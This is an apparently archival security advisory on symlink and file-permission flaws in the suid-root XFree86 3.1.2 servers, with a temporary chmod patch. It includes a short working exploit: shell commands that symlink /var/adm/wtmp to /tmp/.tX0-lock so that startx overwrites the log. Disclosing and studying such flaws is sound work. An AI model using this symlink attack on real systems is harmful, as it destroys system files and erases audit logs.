XFree86 3.1.2 Security Problems

[davem+ () andrew cmu edu (David J Meltzer)]

   There are security holes in XFree86 3.1.2, which installs its servers
as suid root (/usr/X11R6/bin/XF86_*).  When reading and writing files,
it does not take proper precautions to ensure that file permissions are
maintained, resulting in the ability to overwrite files, and to read
limited portions of other files.
   The first problem stems from the server opening a temporary file,
/tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC).  By making this
file a symlink, the server will overwrite the original file, and then
write to it its current pid.
   Other problems exist in the server relating to similar problems, one
such example is the ability to specify an arbitrary file for the XF86config
file which will then be opened, and the first line that fails to match
the expected format will be output with an error, allowing a line to be
read from an arbitrary file.

                   Program: XFree86 3.1.2 servers
Affected Operating Systems: All systems with XFree86 3.1.2 installed
              Requirements: account on system
           Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
       Security Compromise: overwrite arbitrary files
                    Author: Dave M. (davem () cmu edu)
                  Synopsis: While running suid root, XFree86 servers do
                            not properly check file permissions, allowing
                            a user to overwrite arbitrary files on a
                            system.


Exploit:
$ ls -l /var/adm/wtmp
-rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
$ ln -s /var/adm/wtmp /tmp/.tX0-lock
$ startx
(At this point exit X if it started, or else ignore any error messages)
$ ls -l /var/adm/wtmp
-r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp



       /-------------\
       |David Meltzer|
       |davem () cmu edu|
 /--------------------------\
 |School of Computer Science|
 |Carnegie Mellon University|
 \--------------------------/